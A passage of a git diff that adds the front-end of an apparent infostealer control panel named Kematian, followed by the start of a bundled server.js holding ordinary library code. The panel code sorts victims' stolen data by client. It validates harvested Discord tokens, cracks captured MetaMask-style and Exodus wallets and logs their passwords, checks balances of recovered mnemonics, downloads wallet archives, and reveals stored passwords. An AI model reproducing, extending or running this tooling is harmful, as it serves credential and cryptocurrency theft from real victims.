${payload?.error || "unknown"}`); + }, + pong() { log("pong"); }, + }; + + function handlePluginEvent(event, payload) { + const handler = eventDispatch[event]; + if (handler) handler(payload); + else log(`event: ${event}`); + } + + window.addEventListener("message", (e) => { + if (!e.data || e.data.type !== "plugin_event") return; + handlePluginEvent(e.data.event, e.data.payload); + }); + + let polling = false; + async function pollEvents() { + if (polling) return; + polling = true; + try { + const res = await fetch( + `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/events`, + { headers: { Accept: "application/json" } }, + ); + if (res.ok) { + const data = await res.json(); + if (data.events) data.events.forEach(e => handlePluginEvent(e.event, e.payload)); + } + } catch (_) {} finally { polling = false; } + } + + log("Ready — Kematian"); + window.__kematianPoll = setInterval(pollEvents, 1500); + setTimeout(pollEvents, 500); + } + + // ── Discord lookup buttons ──────────────────────────────────── + if (enrichAllBtn) { + enrichAllBtn.addEventListener("click", async () => { + enrichAllBtn.disabled = true; + enrichStatus.textContent = "Looking up…"; + try { + const p = {}; + if (!isGlobal && clientId) p.clientId = clientId; + else if (isGlobal && activeClient !== "all") p.clientId = activeClient; + const r = await rpc("enrich_all_discord", p); + enrichStatus.textContent = `Done — ${r.enriched} token${r.enriched !== 1 ? "s" : ""} processed`; + await loadDiscordProfiles(); + } catch (e) { + enrichStatus.textContent = `Error: ${e.message}`; + } finally { + enrichAllBtn.disabled = false; + } + }); + } + + if (dpGrid) { + dpGrid.addEventListener("click", async (e) => { + const btn = e.target.closest(".dp-lookup-btn"); + if (!btn) return; + const token = btn.dataset.token; + const cid = btn.dataset.cid; + if (!token || !cid) return; + btn.disabled = true; + btn.textContent = "…"; + try { + await rpc("enrich_discord_token", { token, clientId: cid }); + await loadDiscordProfiles(); + } catch (err) { + log(`Lookup error: ${err.message}`); + btn.disabled = false; + btn.textContent = "Retry"; + } + }); + } + + // ── Wallet card buttons ──────────────────────────────────────── + if (checkBalancesBtn) { + checkBalancesBtn.addEventListener("click", async () => { + const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId; + if (!cid) { log("Select a client first"); return; } + checkBalancesBtn.disabled = true; + balanceStatus.textContent = "Checking balances…"; + try { + const result = await rpc("check_balances", { clientId: cid }); + walletBalances = {}; + for (const r of result.results || []) { + if (!walletBalances[r.wallet]) walletBalances[r.wallet] = {}; + for (const [chain, bal] of Object.entries(r.balances || {})) + walletBalances[r.wallet][chain] = (walletBalances[r.wallet][chain] || 0) + bal; + } + const nonZero = Object.values(walletBalances).reduce((s, b) => s + Object.values(b).filter(v => v > 0).length, 0); + balanceStatus.textContent = `Done — ${nonZero} non-zero balance${nonZero !== 1 ? "s" : ""} found`; + await loadWalletCards(); + } catch (e) { + balanceStatus.textContent = `Error: ${e.message}`; + log(`Balance check error: ${e.message}`); + } finally { + checkBalancesBtn.disabled = false; + } + }); + } + + if (wlGrid) { + wlGrid.addEventListener("click", async (e) => { + const crackBtn = e.target.closest(".wl-crack-btn"); + if (crackBtn) { + const walletName = crackBtn.dataset.wallet; + const crackType = crackBtn.dataset.crackType || "vault"; + const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId; + if (!cid || !walletName) return; + crackBtn.disabled = true; + crackBtn.textContent = "Cracking…"; + try { + const rpcMethod = crackType === "desktop" ? "crack_exodus" : "crack_vault"; + const result = await rpc(rpcMethod, { clientId: cid, walletName }); + walletCrackResults[walletName] = result; + if (result.cracked) log(`Wallet cracked for ${walletName}! Password: ${result.password}`); + else log(`Wallet crack failed for ${walletName} — ${result.tried} passwords tried`); + await loadWalletCards(); + } catch (err) { + log(`Crack error: ${err.message}`); + crackBtn.disabled = false; + crackBtn.textContent = crackType === "desktop" ? "Crack Wallet" : "Crack Vault"; + } + return; + } + + const balBtn = e.target.closest(".wl-check-bal-btn"); + if (balBtn) { + const walletName = balBtn.dataset.wallet; + const crackResult = walletCrackResults[walletName]; + if (!crackResult?.mnemonic) return; + balBtn.disabled = true; + balBtn.textContent = "Checking…"; + try { + const result = await rpc("check_cracked_balances", { mnemonic: crackResult.mnemonic }); + walletCrackResults[walletName] = { ...crackResult, balances: result.totals, usdTotal: result.usdTotal }; + if (result.usdTotal > 0) log(`${walletName}: $${result.usdTotal.toFixed(2)} total value`); + else log(`${walletName}: no balances found`); + await loadWalletCards(); + } catch (err) { + log(`Balance check error: ${err.message}`); + balBtn.disabled = false; + balBtn.textContent = "Check Balances"; + } + return; + } + + const dlBtn = e.target.closest(".wl-dl-btn"); + if (dlBtn) { + const id = dlBtn.dataset.id; + const name = dlBtn.dataset.name; + dlBtn.disabled = true; + dlBtn.textContent = "…"; + try { + const result = await rpc("download_wallet_data", { id: Number(id) }); + downloadBase64(result.content, `${result.name || name}.zip`, "application/zip"); + log(`Downloaded wallet: ${name}`); + } catch (err) { + log(`Download error: ${err.message}`); + } finally { + dlBtn.disabled = false; + dlBtn.textContent = "Download ZIP"; + } + } + }); + } + + // ── Shared listeners ────────────────────────────────────────── + searchEl.addEventListener("input", () => { + const q = searchEl.value.trim(); + if (isGlobal) { + clearTimeout(searchTimer); + searchTimer = setTimeout(() => { + if (q) { + activeTab = "__search__"; + buildTabs(); buildBfilts(); + loadSearchAll(); + } else { + searchAllResults = null; + if (activeTab === "__search__") activeTab = "passwords"; + buildTabs(); buildBfilts(); + loadGlobalTab(); + } + }, 300); + } else { + if (q) { + activeTab = "__search__"; + loadSearchAllLocal(); + } else { + searchAllResults = null; + if (activeTab === "__search__") activeTab = "passwords"; + buildTabs(); + } + renderTable(); + } + }); + + revealToggle.addEventListener("change", () => { + showSensitive = revealToggle.checked; + renderTable(); + }); + + // ── Init ────────────────────────────────────────────────────── + if (isGlobal) initGlobalMode(); + else initClientMode(); +})(); diff --git a/server.js b/server.js new file mode 100644 index 0000000..0c64eb9 --- /dev/null +++ b/server.js @@ -0,0 +1,27261 @@ +import { createRequire } from "node:module"; +var __create = Object.create; +var __getProtoOf = Object.getPrototypeOf; +var __defProp = Object.defineProperty; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __toESM = (mod, isNodeMode, target) => { + target = mod != null ? __create(__getProtoOf(mod)) : {}; + const to = isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target; + for (let key of __getOwnPropNames(mod)) + if (!__hasOwnProp.call(to, key)) + __defProp(to, key, { + get: () => mod[key], + enumerable: true + }); + return to; +}; +var __commonJS = (cb, mod) => () => (mod || cb((mod = { exports: {} }).exports, mod), mod.exports); +var __require = /* @__PURE__ */ createRequire(import.meta.url); + +// node_modules/randombytes/index.js +var require_randombytes = __commonJS((exports, module) => { + module.exports = __require("crypto").randomBytes; +}); + +// node_modules/create-hash/index.js +var require_create_hash = __commonJS((exports, module) => { + module.exports = __require("crypto").createHash; +}); + +// node_modules/browserify-aes/index.js +var require_browserify_aes = __commonJS((exports) => { + var crypto2 = __require("crypto"); + exports.createCipher = exports.Cipher = crypto2.createCipher; + exports.createCipheriv = exports.Cipheriv = crypto2.createCipheriv; + exports.createDecipher = exports.Decipher = crypto2.createDecipher; + exports.createDecipheriv = exports.Decipheriv = crypto2.createDecipheriv; + exports.listCiphers = exports.getCiphers = crypto2.getCiphers; +}); + +// node_modules/pbkdf2/lib/precondition.js +var require_precondition = __commonJS((exports, module) => { + var $isFinite = isFinite; + var MAX_ALLOC = Math.pow(2, 30) - 1; + module.exports = function(iterations, keylen) { + if (typeof iterations !== "number") { + throw new TypeError("Iterations not a number"); + } + if (iterations < 0 || !$isFinite(iterations)) { + throw new TypeError("Bad iterations"); + } + if (typeof keylen !== "number") { + throw new TypeError("Key length not a number"); + } + if (keylen < 0 || keylen > MAX_ALLOC || keylen !== keylen) { + throw new TypeError("Bad key length"); + } + }; +}); + +// node_modules/pbkdf2/lib/default-encoding.js +var require_default_encoding = __commonJS((exports, module) => { + var defaultEncoding; + if (global.process && global.process.browser) { + defaultEncoding = "utf-8"; + } else if (global.process && global.process.version) { + pVersionMajor = parseInt(process.version.split(".")[0].slice(1), 10); + defaultEncoding = pVersionMajor >= 6 ? "utf-8" : "binary"; + } else { + defaultEncoding = "utf-8"; + } + var pVersionMajor; + module.exports = defaultEncoding; +}); + +// node_modules/safe-buffer/index.js +var require_safe_buffer = __commonJS((exports, module) => { + /*! safe-buffer. MIT License. Feross Aboukhadijeh */ + var buffer = __require("buffer"); + var Buffer2 = buffer.Buffer; + function copyProps(src, dst) { + for (var key in src) { + dst[key] = src[key]; + } + } + if (Buffer2.from && Buffer2.alloc && Buffer2.allocUnsafe && Buffer2.allocUnsafeSlow) { + module.exports = buffer; + } else { + copyProps(buffer, exports); + exports.Buffer = SafeBuffer; + } + function SafeBuffer(arg, encodingOrOffset, length) { + return Buffer2(arg, encodingOrOffset, length); + } + SafeBuffer.prototype = Object.create(Buffer2.prototype); + copyProps(Buffer2, SafeBuffer); + SafeBuffer.from = function(arg, encodingOrOffset, length) { + if (typeof arg === "number") { + throw new TypeError("Argument must not be a number"); + } + return Buffer2(arg, encodingOrOffset, length); + }; + SafeBuffer.alloc = function(size, fill, encoding) { + if (typeof size !== "number") { + throw new TypeError("Argument must be a number"); + } + var buf = Buffer2(size); + if (fill !== undefined) { + if (typeof encoding === "string") { + buf.fill(fill, encoding); + } else { + buf.fill(fill); + } + } else { + buf.fill(0); + } + return buf; + }; + SafeBuffer.allocUnsafe = function(size) { + if (typeof size !== "number") { + throw new TypeError("Argument must be a number"); + } + return Buffer2(size); + }; + SafeBuffer.allocUnsafeSlow = function(size) { + if (typeof size !== "number") { + throw new TypeError("Argument must be a number"); + } + return buffer.SlowBuffer(size); + }; +}); + +// node_modules/isarray/index.js +var require_isarray = __commonJS((exports, module) => { + var toString = {}.toString; + module.exports = Array.isArray || function(arr) { + return toString.call(arr) == "[object Array]"; + }; +}); + +// node_modules/es-errors/type.js +var require_type = __commonJS((exports, module) => { + module.exports = TypeError; +}); + +// node_modules/es-object-atoms/index.js +var require_es_object_atoms = __commonJS((exports, module) => { + module.exports = Object; +}); + +// node_modules/es-errors/index.js +var require_es_errors = __commonJS((exports, module) => { + module.exports = Error; +}); + +// node_modules/es-errors/eval.js +var require_eval = __commonJS((exports, module) => { + module.exports = EvalError; +}); + +// node_modules/es-errors/range.js +var require_range = __commonJS((exports, module) => { + module.exports = RangeError; +}); + +// node_modules/es-errors/ref.js +var require_ref = __commonJS((exports, module) => { + module.exports = ReferenceError; +}); + +// node_modules/es-errors/syntax.js +var require_syntax = __commonJS((exports, module) => { + module.exports = SyntaxError; +}); + +// node_modules/es-errors/uri.js +var require_uri = __commonJS((exports, module) => { + module.exports = URIError; +}); + +// node_modules/math-intrinsics/abs.js +var require_abs = __commonJS((exports, module) => { + module.exports = Math.abs; +}); + +// node_modules/math-intrinsics/floor.js +var require_floor = __commonJS((exports, module) => { + module.exports = Math.floor; +}); + +// node_modules/math-intrinsics/max.js +var require_max = __commonJS((exports, module) => { + module.exports = Math.max; +}); + +// node_modules/math-intrinsics/min.js +var require_min = __commonJS((exports, module) => { + module.exports = Math.min; +}); + +// node_modules/math-intrinsics/pow.js +var require_pow = __commonJS((exports, module) => { + module.exports = Math.pow; +}); + +// node_modules/math-intrinsics/round.js +var require_round = __commonJS((exports, module) => { + module.exports = Math.round; +}); + +// node_modules/math-intrinsics/isNaN.js +var require_isNaN = __commonJS((exports, module) => { + module.exports = Number.isNaN || function isNaN(a) { + return a !== a; + }; +}); + +// node_modules/math-intrinsics/sign.js +var require_sign = __commonJS((exports, module) => { + var $isNaN = require_isNaN(); + module.exports = function sign(number) { + if ($isNaN(number) || number === 0) { + return number; + } + return number < 0 ? -1 : 1; + }; +}); + +// node_modules/gopd/gOPD.js +var require_gOPD = __commonJS((exports, module) => { + module.exports = Object.getOwnPropertyDescriptor; +}); + +// node_modules/gopd/index.js +var require_gopd = __commonJS((exports, module) => { + var $gOPD = require_gOPD(); + if ($gOPD) { + try { + $gOPD([], "length"); + } catch (e) { + $gOPD = null; + } + } + module.exports = $gOPD; +}); + +// node_modules/es-define-property/index.js +var require_es_define_property = __commonJS((exports, module) => { + var $defineProperty = Object.defineProperty || false; + if ($defineProperty) { + try { + $defineProperty({}, "a", { value: 1 }); + } catch (e) { + $defineProperty = false; + } + } + module.exports = $defineProperty; +}); + +// node_modules/has-symbols/shams.js +var require_shams = __commonJS((exports, module) => { + module.exports = function hasSymbols() { + if (typeof Symbol !== "function" || typeof Object.getOwnPropertySymbols !== "function") { + return false; + } + if (typeof Symbol.iterator === "symbol") { + return true; + } + var obj = {}; + var sym = Symbol("test"); + var symObj = Object(sym); + if (typeof sym === "string") { + return false; + } + if (Object.prototype.toString.call(sym) !== "[object Symbol]") { + return false; + } + if (Object.prototype.toString.call(symObj) !== "[object Symbol]") { + return false; + } + var symVal = 42; + obj[sym] = symVal; + for (var _ in obj) { + return false; + } + if (typeof Object.keys === "function" && Object.keys(obj).length !== 0) { + return false; + } + if (typeof Object.getOwnPropertyNames === "function" && Object.getOwnPropertyNames(obj).length !== 0) { + return false; + } + var syms = Object.getOwnPropertySymbols(obj); + if (syms.length !== 1 || syms[0] !== sym) { + return false; + } + if (!Object.prototype.propertyIsEnumerable.call(obj, sym)) { + return false; + } + if (typeof Object.getOwnPropertyDescriptor === "function") { + var descriptor = Object.getOwnPropertyDescriptor(obj, sym); + if (descriptor.value !== symVal || descriptor.enumerable !== true) { + return false; + } + } + return true; + }; +}); + +// node_modules/has-symbols/index.js +var require_has_symbols = __commonJS((exports, module) => { + var origSymbol = typeof Symbol !== "undefined" && Symbol; + var hasSymbolSham = require_shams(); + module.exports = function hasNativeSymbols() { + if (typeof origSymbol !== "function") { + return false; + } + if (typeof Symbol !== "function") { + return false; + } + if (typeof origSymbol("foo") !== "symbol") { + return false; + } + if (typeof Symbol("bar") !== "symbol") { + return false; + } + return hasSymbolSham(); + }; +}); + +// node_modules/get-proto/Reflect.getPrototypeOf.js +var require_Reflect_getPrototypeOf = __commonJS((exports, module) => { + module.exports = typeof Reflect !== "undefined" && Reflect.getPrototypeOf || null; +}); + +// node_modules/get-proto/Object.getPrototypeOf.js +var require_Object_getPrototypeOf = __commonJS((exports, module) => { + var $Object = require_es_object_atoms(); + module.exports = $Object.getPrototypeOf || null; +}); + +// node_modules/function-bind/implementation.js +var require_implementation = __commonJS((exports, module) => { + var ERROR_MESSAGE = "Function.prototype.bind called on incompatible "; + var toStr = Object.prototype.toString; + var max = Math.max; + var funcType = "[object Function]"; + var concatty = function concatty(a, b) { + var arr = []; + for (var i = 0;i < a.length; i += 1) { + arr[i] = a[i]; + } + for (var j = 0;j < b.length; j += 1) { + arr[j + a.length] = b[j]; + } + return arr; + }; + var slicy = function slicy(arrLike, offset) { + var arr = []; + for (var i = offset || 0, j = 0;i < arrLike.length; i += 1, j += 1) { + arr[j] = arrLike[i]; + } + return arr; + }; + var joiny = function(arr, joiner) { + var str = ""; + for (var i = 0;i < arr.length; i += 1) { + str += arr[i]; + if (i + 1 < arr.length) { + str += joiner; + } + } + return str; + }; + module.exports = function bind(that) { + var target = this; + if (typeof target !== "function" || toStr.apply(target) !== funcType) { + throw new TypeError(ERROR_MESSAGE + target); + } + var args = slicy(arguments, 1); + var bound; + var binder = function() { + if (this instanceof bound) { + var result = target.apply(this, concatty(args, arguments)); + if (Object(result) === result) { + return result; + } + return this; + } + return target.apply(that, concatty(args, arguments)); + }; + var boundLength = max(0, target.length - args.length); + var boundArgs = []; + for (var i = 0;i < boundLength; i++) { + boundArgs[i] = "$" + i; + } + bound = Function("binder", "return function (" + joiny(boundArgs, ",") + "){ return binder.apply(this,arguments); }")(binder); + if (target.prototype) { + var Empty = function Empty() { + }; + Empty.prototype = target.prototype; + bound.prototype = new Empty; + Empty.prototype = null; + } + return bound; + }; +}); + +// node_modules/function-bind/index.js +var require_function_bind = __commonJS((exports, module) => { + var implementation = require_implementation(); + module.exports = Function.prototype.bind || implementation; +}); + +// node_modules/call-bind-apply-helpers/functionCall.js +var require_functionCall = __commonJS((exports, module) => { + module.exports = Function.prototype.call; +}); + +// node_modules/call-bind-apply-helpers/functionApply.js +var require_functionApply = __commonJS((exports, module) => { + module.exports = Function.prototype.apply; +}); + +// node_modules/call-bind-apply-helpers/reflectApply.js +var require_reflectApply = __commonJS((exports, module) => { + module.exports = typeof Reflect !== "undefined" && Reflect && Reflect.apply; +}); + +// node_modules/call-bind-apply-helpers/actualApply.js +var require_actualApply = __commonJS((exports, module) => { + var bind = require_function_bind(); + var $apply = require_functionApply(); + var $call = require_functionCall(); + var $reflectApply = require_reflectApply(); + module.exports = $reflectApply || bind.call($call, $apply); +}); + +// node_modules/call-bind-apply-helpers/index.js +var require_call_bind_apply_helpers = __commonJS((exports, module) => { + var bind = require_function_bind(); + var $TypeError = require_type(); + var $call = require_functionCall(); + var $actualApply = require_actualApply(); + module.exports = function callBindBasic(args) { + if (args.length < 1 || typeof args[0] !== "function") { + throw new $TypeError("a function is required"); + } + return $actualApply(bind, $call, args); + }; +}); + +// node_modules/dunder-proto/get.js +var require_get = __commonJS((exports, module) => { + var callBind = require_call_bind_apply_helpers(); + var gOPD = require_gopd(); + var hasProtoAccessor; + try { + hasProtoAccessor = [].__proto__ === Array.prototype; + } catch (e) { + if (!e || typeof e !== "object" || !("code" in e) || e.code !== "ERR_PROTO_ACCESS") { + throw e; + } + } + var desc = !!hasProtoAccessor && gOPD && gOPD(Object.prototype, "__proto__"); + var $Object = Object; + var $getPrototypeOf = $Object.getPrototypeOf; + module.exports = desc && typeof desc.get === "function" ? callBind([desc.get]) : typeof $getPrototypeOf === "function" ? function getDunder(value) { + return $getPrototypeOf(value == null ? value : $Object(value)); + } : false; +}); + +// node_modules/get-proto/index.js +var require_get_proto = __commonJS((exports, module) => { + var reflectGetProto = require_Reflect_getPrototypeOf(); + var originalGetProto = require_Object_getPrototypeOf(); + var getDunderProto = require_get(); + module.exports = reflectGetProto ? function getProto(O) { + return reflectGetProto(O); + } : originalGetProto ? function getProto(O) { + if (!O || typeof O !== "object" && typeof O !== "function") { + throw new TypeError("getProto: not an object"); + } + return originalGetProto(O); + } : getDunderProto ? function getProto(O) { + return getDunderProto(O); + } : null; +}); + +// node_modules/hasown/index.js +var require_hasown = __commonJS((exports, module) => { + var call = Function.prototype.call; + var $hasOwn = Object.prototype.hasOwnProperty; + var bind = require_function_bind(); + module.exports = bind.call(call, $hasOwn); +}); + +// node_modules/get-intrinsic/index.js +var require_get_intrinsic = __commonJS((exports, module) => { + var undefined2; + var $Object = require_es_object_atoms(); + var $Error = require_es_errors(); + var $EvalError = require_eval(); + var $RangeError = require_range(); + var $ReferenceError = require_ref(); + var $SyntaxError = require_syntax(); + var $TypeError = require_type(); + var $URIError = require_uri(); + var abs = require_abs(); + var floor = require_floor(); + var max = require_max(); + var min = require_min(); + var pow = require_pow(); + var round = require_round(); + var sign = require_sign(); + var $Function = Function; + var getEvalledConstructor = function(expressionSyntax) { + try { + return $Function('"use strict"; return (' + expressionSyntax + ").constructor;")(); + } catch (e) { + } + }; + var $gOPD = require_gopd(); + var $defineProperty = require_es_define_property(); + var throwTypeError = function() { + throw new $TypeError; + }; + var ThrowTypeError = $gOPD ? function() { + try { + arguments.callee; + return throwTypeError; + } catch (calleeThrows) { + try { + return $gOPD(arguments, "callee").get; + } catch (gOPDthrows) { + return throwTypeError; + } + } + }() : throwTypeError; + var hasSymbols = require_has_symbols()(); + var getProto = require_get_proto(); + var $ObjectGPO = require_Object_getPrototypeOf(); + var $ReflectGPO = require_Reflect_getPrototypeOf(); + var $apply = require_functionApply(); + var $call = require_functionCall(); + var needsEval = {}; + var TypedArray = typeof Uint8Array === "undefined" || !getProto ? undefined2 : getProto(Uint8Array); + var INTRINSICS = { + __proto__: null, + "%AggregateError%": typeof AggregateError === "undefined" ? undefined2 : AggregateError, + "%Array%": Array, + "%ArrayBuffer%": typeof ArrayBuffer === "undefined" ? undefined2 : ArrayBuffer, + "%ArrayIteratorPrototype%": hasSymbols && getProto ? getProto([][Symbol.iterator]()) : undefined2, + "%AsyncFromSyncIteratorPrototype%": undefined2, + "%AsyncFunction%": needsEval, + "%AsyncGenerator%": needsEval, + "%AsyncGeneratorFunction%": needsEval, + "%AsyncIteratorPrototype%": needsEval, + "%Atomics%": typeof Atomics === "undefined" ? undefined2 : Atomics, + "%BigInt%": typeof BigInt === "undefined" ? undefined2 : BigInt, + "%BigInt64Array%": typeof BigInt64Array === "undefined" ? undefined2 : BigInt64Array, + "%BigUint64Array%": typeof BigUint64Array === "undefined" ? undefined2 : BigUint64Array, + "%Boolean%": Boolean, + "%DataView%": typeof DataView === "undefined" ? undefined2 : DataView, + "%Date%": Date, + "%decodeURI%": decodeURI, + "%decodeURIComponent%": decodeURIComponent, + "%encodeURI%": encodeURI, + "%encodeURIComponent%": encodeURIComponent, + "%Error%": $Error, + "%eval%": eval, + "%EvalError%": $EvalError, + "%Float16Array%": typeof Float16Array === "undefined" ? undefined2 : Float16Array, + "%Float32Array%": typeof Float32Array === "undefined" ? undefined2 : Float32Array, + "%Float64Array%": typeof Float64Array === "undefined" ? undefined2 : Float64Array, + "%FinalizationRegistry%": typeof FinalizationRegistry === "undefined" ? undefined2 : FinalizationRegistry, + "%Function%": $Function, + "%GeneratorFunction%": needsEval, + "%Int8Array%": typeof Int8Array === "undefined" ? undefined2 : Int8Array, + "%Int16Array%": typeof Int16Array === "undefined" ? undefined2 : Int16Array, + "%Int32Array%": typeof Int32Array === "undefined" ? undefined2 : Int32Array, + "%isFinite%": isFinite, + "%isNaN%": isNaN, + "%IteratorPrototype%": hasSymbols && getProto ? getProto(getProto([][Symbol.iterator]())) : undefined2, + "%JSON%": typeof JSON === "object" ? JSON : undefined2, + "%Map%": typeof Map === "undefined" ? undefined2 : Map, + "%MapIteratorPrototype%": typeof Map === "undefined" || !hasSymbols || !getProto ? undefined2 : getProto(new Map()[Symbol.iterator]()), + "%Math%": Math, + "%Number%": Number, + "%Object%": $Object, + "%Object.getOwnPropertyDescriptor%": $gOPD, + "%parseFloat%": parseFloat, + "%parseInt%": parseInt, + "%Promise%": typeof Promise === "undefined" ? undefined2 : Promise, + "%Proxy%": typeof Proxy === "undefined" ? undefined2 : Proxy, + "%RangeError%": $RangeError, + "%ReferenceError%": $ReferenceError, + "%Reflect%": typeof Reflect === "undefined" ? undefined2 : Reflect, + "%RegExp%": RegExp, + "%Set%": typeof Set === "undefined" ? undefined2 : Set, + "%SetIteratorPrototype%": typeof Set === "undefined" || !hasSymbols || !getProto ? undefined2 : getProto(new Set()[Symbol.iterator]()), + "%SharedArrayBuffer%": typeof SharedArrayBuffer === "undefined" ? undefined2 : SharedArrayBuffer, + "%String%": String, + "%StringIteratorPrototype%": hasSymbols && getProto ? getProto(""[Symbol.iterator]()) : undefined2, + "%Symbol%": hasSymbols ? Symbol : undefined2, + "%SyntaxError%": $SyntaxError, + "%ThrowTypeError%": ThrowTypeError, + "%TypedArray%": TypedArray, + "%TypeError%": $TypeError, + "%Uint8Array%": typeof Uint8Array === "undefined" ? undefined2 : Uint8Array, + "%Uint8ClampedArray%": typeof Uint8ClampedArray === "undefined" ? undefined2 : Uint8ClampedArray, + "%Uint16Array%": typeof Uint16Array === "undefined" ? undefined2 : Uint16Array, + "%Uint32Array%": typeof Uint32Array === "undefined" ? undefined2 : Uint32Array, + "%URIError%": $URIError, + "%WeakMap%": typeof WeakMap === "undefined" ? undefined2 : WeakMap, + "%WeakRef%": typeof WeakRef === "undefined" ? undefined2 : WeakRef, + "%WeakSet%": typeof WeakSet === "undefined" ? undefined2 : WeakSet, + "%Function.prototype.call%": $call, + "%Function.prototype.apply%": $apply, + "%Object.defineProperty%": $defineProperty, + "%Object.getPrototypeOf%": $ObjectGPO, + "%Math.abs%": abs, + "%Math.floor%": floor, + "%Math.max%": max, + "%Math.min%": min, + "%Math.pow%": pow, + "%Math.round%": round, + "%Math.sign%": sign, + "%Reflect.getPrototypeOf%": $ReflectGPO + }; + if (getProto) { + try { + null.error; + } catch (e) { + errorProto = getProto(getProto(e)); + INTRINSICS["%Error.prototype%"] = errorProto; + } + } + var errorProto; + var doEval = function doEval(name) { + var value; + if (name === "%AsyncFunction%") { + value = getEvalledConstructor("async function () {}"); + } else if (name === "%GeneratorFunction%") { + value = getEvalledConstructor("function* () {}"); + } else if (name === "%AsyncGeneratorFunction%") { + value = getEvalledConstructor("async function* () {}"); + } else if (name === "%AsyncGenerator%") { + var fn = doEval("%AsyncGeneratorFunction%"); + if (fn) { + value = fn.prototype; + } + } else if (name === "%AsyncIteratorPrototype%") { + var gen = doEval("%AsyncGenerator%"); + if (gen && getProto) { + value = getProto(gen.prototype); + } + } + INTRINSICS[name] = value; + return value; + }; + var LEGACY_ALIASES = { + __proto__: null, + "%ArrayBufferPrototype%": ["ArrayBuffer", "prototype"], + "%ArrayPrototype%": ["Array", "prototype"], + "%ArrayProto_entries%": ["Array", "prototype", "entries"], + "%ArrayProto_forEach%": ["Array", "prototype", "forEach"], + "%ArrayProto_keys%": ["Array", "prototype", "keys"], + "%ArrayProto_values%": ["Array", "prototype", "values"], + "%AsyncFunctionPrototype%": ["AsyncFunction", "prototype"], + "%AsyncGenerator%": ["AsyncGeneratorFunction", "prototype"], + "%AsyncGeneratorPrototype%": ["AsyncGeneratorFunction", "prototype", "prototype"], + "%BooleanPrototype%": ["Boolean", "prototype"], + "%DataViewPrototype%": ["DataView", "prototype"], + "%DatePrototype%": ["Date", "prototype"], + "%ErrorPrototype%": ["Error", "prototype"], + "%EvalErrorPrototype%": ["EvalError", "prototype"], + "%Float32ArrayPrototype%": ["Float32Array", "prototype"], + "%Float64ArrayPrototype%": ["Float64Array", "prototype"], + "%FunctionPrototype%": ["Function", "prototype"], + "%Generator%": ["GeneratorFunction", "prototype"], + "%GeneratorPrototype%": ["GeneratorFunction", "prototype", "prototype"], + "%Int8ArrayPrototype%": ["Int8Array", "prototype"], + "%Int16ArrayPrototype%": ["Int16Array", "prototype"], + "%Int32ArrayPrototype%": ["Int32Array", "prototype"], + "%JSONParse%": ["JSON", "parse"], + "%JSONStringify%": ["JSON", "stringify"], + "%MapPrototype%": ["Map", "prototype"], + "%NumberPrototype%": ["Number", "prototype"], + "%ObjectPrototype%": ["Object", "prototype"], + "%ObjProto_toString%": ["Object", "prototype", "toString"], + "%ObjProto_valueOf%": ["Object", "prototype", "valueOf"], + "%PromisePrototype%": ["Promise", "prototype"], + "%PromiseProto_then%": ["Promise", "prototype", "then"], + "%Promise_all%": ["Promise", "all"], + "%Promise_reject%": ["Promise", "reject"], + "%Promise_resolve%": ["Promise", "resolve"], + "%RangeErrorPrototype%": ["RangeError", "prototype"], + "%ReferenceErrorPrototype%": ["ReferenceError", "prototype"], + "%RegExpPrototype%": ["RegExp", "prototype"], + "%SetPrototype%": ["Set", "prototype"], + "%SharedArrayBufferPrototype%": ["SharedArrayBuffer", "prototype"], + "%StringPrototype%": ["String", "prototype"], + "%SymbolPrototype%": ["Symbol", "prototype"], + "%SyntaxErrorPrototype%": ["SyntaxError", "prototype"], + "%TypedArrayPrototype%": ["TypedArray", "prototype"], + "%TypeErrorPrototype%": ["TypeError", "prototype"], + "%Uint8ArrayPrototype%": ["Uint8Array", "prototype"], + "%Uint8ClampedArrayPrototype%": ["Uint8ClampedArray", "prototype"], + "%Uint16ArrayPrototype%": ["Uint16Array", "prototype"], + "%Uint32ArrayPrototype%": ["Uint32Array", "prototype"], + "%URIErrorPrototype%": ["URIError", "prototype"], + "%WeakMapPrototype%": ["WeakMap", "prototype"], + "%WeakSetPrototype%": ["WeakSet", "prototype"] + }; + var bind = require_function_bind(); + var hasOwn = require_hasown(); + var $concat = bind.call($call, Array.prototype.concat); + var $spliceApply = bind.call($apply, Array.prototype.splice); + var $replace = bind.call($call, String.prototype.replace); + var $strSlice = bind.call($call, String.prototype.slice); + var $exec = bind.call($call, RegExp.prototype.exec); + var rePropName = /[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g; + var reEscapeChar = /\\(\\)?/g; + var stringToPath = function stringToPath(string) { + var first = $strSlice(string, 0, 1); + var last = $strSlice(string, -1); + if (first === "%" && last !== "%") { + throw new $SyntaxError("invalid intrinsic syntax, expected closing `%`"); + } else if (last === "%" && first !== "%") { + throw new $SyntaxError("invalid intrinsic syntax, expected opening `%`"); + } + var result = []; + $replace(string, rePropName, function(match, number, quote, subString) { + result[result.length] = quote ? $replace(subString, reEscapeChar, "$1") : number || match; + }); + return result; + }; + var getBaseIntrinsic = function getBaseIntrinsic(name, allowMissing) { + var intrinsicName = name; + var alias; + if (hasOwn(LEGACY_ALIASES, intrinsicName)) { + alias = LEGACY_ALIASES[intrinsicName]; + intrinsicName = "%" + alias[0] + "%"; + } + if (hasOwn(INTRINSICS, intrinsicName)) { + var value = INTRINSICS[intrinsicName]; + if (value === needsEval) { + value = doEval(intrinsicName); + } + if (typeof value === "undefined" && !allowMissing) { + throw new $TypeError("intrinsic " + name + " exists, but is not available. Please file an issue!"); + } + return { + alias, + name: intrinsicName, + value + }; + } + throw new $SyntaxError("intrinsic " + name + " does not exist!"); + }; + module.exports = function GetIntrinsic(name, allowMissing) { + if (typeof name !== "string" || name.length === 0) { + throw new $TypeError("intrinsic name must be a non-empty string"); + } + if (arguments.length > 1 && typeof allowMissing !== "boolean") { + throw new $TypeError('"allowMissing" argument must be a boolean'); + } + if ($exec(/^%?[^%]*%?$/, name) === null) { + throw new $SyntaxError("`%` may not be present anywhere but at the beginning and end of the intrinsic name"); + } + var parts = stringToPath(name); + var intrinsicBaseName = parts.length > 0 ? parts[0] : ""; + var 